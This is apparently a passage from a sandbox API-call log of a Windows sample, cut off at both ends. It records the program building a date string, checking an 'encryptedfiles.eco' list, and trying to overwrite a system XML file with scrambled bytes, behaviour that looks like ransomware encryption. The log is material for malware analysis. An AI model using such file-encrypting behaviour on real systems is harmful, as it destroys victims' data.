WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.765] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0120.765] GetUserDefaultLCID () returned 0x409 [0120.765] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0120.765] SysStringByteLen (bstr="棌幫措찉瞳⪧᎔㠘묟鵖鱭닍팾踷㇕䍽蓺ɒ㋴ퟍ蘪♈顋새攤眄⑊띹⧃썑ㄙ벤䁨턖츅᪦墅Ⱜ䗭嚢츶鸋䉻䦻᥏㉝鷑쌭늿晿镀⢩׌༨橝∌⩜￵ᅺ׶㱀茚俭ᘊ粏Ç殄퍯耴㮽嬷옹福鰆ຆ쿌?쭙₿믹㨩⿘౸Բ琛穽鰷㔫좗⩁丯Q") returned 0xd5 [0120.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=213, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 213 [0120.765] SysStringByteLen (bstr="棌幫措찉瞳⪧᎔㠘묟鵖鱭닍팾踷㇕䍽蓺ɒ㋴ퟍ蘪♈顋새攤眄⑊띹⧃썑ㄙ벤䁨턖츅᪦墅Ⱜ䗭嚢츶鸋䉻䦻᥏㉝鷑쌭늿晿镀⢩׌༨橝∌⩜￵ᅺ׶㱀茚俭ᘊ粏Ç殄퍯耴㮽嬷옹福鰆ຆ쿌?쭙₿믹㨩⿘౸Բ琛穽鰷㔫좗⩁丯Q") returned 0xd5 [0120.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=214, lpWideCharStr=0x14c0f54, cchWideChar=427 | out: lpWideCharStr="Ìhk^ªc\x09̳wóí§*”\x13\x188\x1f»V\x9dmœÍ²cð>Ó7ŽÕ1}C9çú„R\x02ô2Í×*†H&K˜ÈÀ$e\x04w\x1bæJ$y·Ã)QÃ\x191¤¼îãh@\x16Ñ\x05Φ\x1a…X,,íE¢V6Î\x0bž{B»IO\x19]2Ñ\x9d-ÿ²\x7ffví@•©(Ì\x05(\x0f]jzà\x0c\"Óó\\*õÿz\x11ö\x05@<\x1aƒíO<ï‘ñ\n\x16\x8f|YæÇ") returned 214 [0120.766] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=-1, lpMultiByteStr=0x18e788, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.766] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e780*="auxpad.xml") returned 0x4b [0120.766] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.766] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 0 [0120.766] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 0 [0120.766] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.766] GetLastError () returned 0x5 [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.767] GetLastError () returned 0x5 [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] GetLastError () returned 0x5 [0120.767] SetLastError (dwErrCode=0x5) [0120.767] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0120.767] GetFileType (hFile=0x31c) returned 0x1 [0120.768] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x14cf418 [0120.768] FlushFileBuffers (hFile=0x4) returned 0 [0120.768] GetLastError () returned 0x6 [0120.768] IMalloc:Alloc (This=0x767666bc, cb=0x1aa) returned 0x1466360 [0120.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ìhk^ªc\x09̳wóí§*”\x13\x188\x1f»V\x9dmœÍ²cð>Ó7ŽÕ1}C9çú„R\x02ô2Í×*†H&K˜ÈÀ$e\x04w\x1bæJ$y·Ã)QÃ\x191¤¼îãh@\x16Ñ\x05Φ\x1a…X,,íE¢V6Î\x0bž{B»IO\x19]2Ñ\x9d-ÿ²\x7ffví@•©(Ì\x05(\x0f]jzà\x0c\"Óó\\*õÿz\x11ö\x05@<\x1aƒíO<ï‘ñ\n\x16\x8f|YæÇ", cchWideChar=213, lpMultiByteStr=0x1466360, cbMultiByte=426, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ìhk^ªc\x09̳wóí§*\x94\x13\x188\x1f»V\x9dm\x9cͲcð>Ó7\x8eÕ1}C9çú\x84R\x02ô2Í×*\x86H&K\x98ÈÀ$e\x04w\x1bæJ$y·Ã)QÃ\x191¤¼îãh@\x16Ñ\x05Φ\x1a…X,,íE¢V6Î\x0b\x9e{B»IO\x19]2Ñ\x9d-ÿ²\x7ffví@\x95©(Ì\x05(\x0f]jzà\x0c\"Óó\\*õÿz\x11ö\x05@<\x1a\x83íO<ï\x91ñ\n\x16\x8f|YæÇ", lpUsedDefaultChar=0x0) returned 213 [0120.768] WriteFile (in: hFile=0x31c, lpBuffer=0x1466360, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0) returned 0 [0120.768] GetLastError () returned 0x5 [0120.768] GetLastError () returned 0x5 [0120.768] SetLastError (dwErrCode=0x5) [0120.768] GetLastError () returned 0x5 [0120.768] SetLastError (dwErrCode=0x5) [0120.768] GetLastError () returned 0x5 [0120.768] SetLastError (dwErrCode=0x5) [0120.768] GetLastError () returned 0x5 [0120.768] SetLastError (dwErrCode=0x5) [0120.768] GetLastError () returned 0x5 [0120.769] SetLastError (dwErrCode=0x5) [0120.769] GetLastError () returned 0x5 [0120.769] SetLastError (dwErrCode=0x5) [0120.769] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0120.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0120.769] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0120.769] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.770] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0120.770] GetTickCount () returned 0x1150de6 [0120.770] GetTickCount () returned 0x1150de6 [0120.770] CoFreeUnusedLibraries () [0120.770] GetTickCount () returned 0x1150de6 [0120.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.770] GetTickCount () returned 0x1150de6 [0120.770] IsWindowVisible (hWnd=0x30268) returned 0 [0120.770] Sleep (dwMilliseconds=0x0) [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, 